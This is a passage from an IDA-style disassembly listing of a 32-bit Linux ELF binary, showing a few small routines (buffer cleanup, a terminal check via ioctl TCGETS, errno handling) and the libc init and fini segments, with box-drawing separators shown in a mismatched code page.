		push	ebx
		push	edi
		mov	edx, [ebp+arg_C]
		call	edx
		mov	esi, eax
		add	esp, 0Ch
		cmp	dword ptr [edi], 2
		jnz	short loc_0_806723C
		call	free(ebx)
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0

loc_0_806723C:				; CODE XREF: sub_0_80671A4+87j
		mov	eax, esi

loc_0_806723E:				; CODE XREF: sub_0_80671A4+2Bj
					; sub_0_80671A4+6Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80671A4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8067248	proc near		; CODE XREF: sub_0_8066710+25p
					; sub_0_8066754+25p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_0_8065098
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8067280
		xor	eax, eax
		jmp	short loc_0_806729F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8067280:				; CODE XREF: sub_0_8067248+2Fj
		cmp	[ebp+var_4], 0
		jz	short loc_0_8067294
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		push	ebx
		push	esi
		call	sub_0_80671A4
		jmp	short loc_0_806729F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8067294:				; CODE XREF: sub_0_8067248+3Cj
		mov	dword ptr [ebx], 0
		mov	eax, 1

loc_0_806729F:				; CODE XREF: sub_0_8067248+33j
					; sub_0_8067248+4Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8067248	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80672AC	proc near		; CODE XREF: .text:08066BA4p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, errno
		lea	eax, [ebp+var_24]
		push	eax
		push	edx
		call	sub_0_80672E0
		test	eax, eax
		setz	al
		and	eax, 0FFh
		mov	errno, ebx
		mov	ebx, [ebp+var_28]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80672AC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80672E0	proc near		; CODE XREF: sub_0_80672AC+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	ioctl(arg_0,TCGETS,arg_4) ; get term
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80672E0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
_text		ends

; ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ

; Segment type:	Pure data
; Segment permissions: Read
__libc_subinit	segment	dword public 'CONST' use32
		assume cs:__libc_subinit
		;org 80675CCh
off_0_80675CC	dd offset sub_0_8056D3C	; DATA XREF: sub_0_8056D44+Co
					; sub_0_8056D44+22o ...
__libc_subinit	ends

; ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ

; Segment type:	Pure code
; Segment permissions: Read/Execute
_fini		segment	para public 'CODE' use32
		assume cs:_fini
		;org 80675D0h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл


		public _term_proc
_term_proc	proc near		; DATA XREF: start+44o
					; sub_0_8056D44+11o ...
		call	sub_0_8048110
		retn	0
_term_proc	endp

_fini		ends
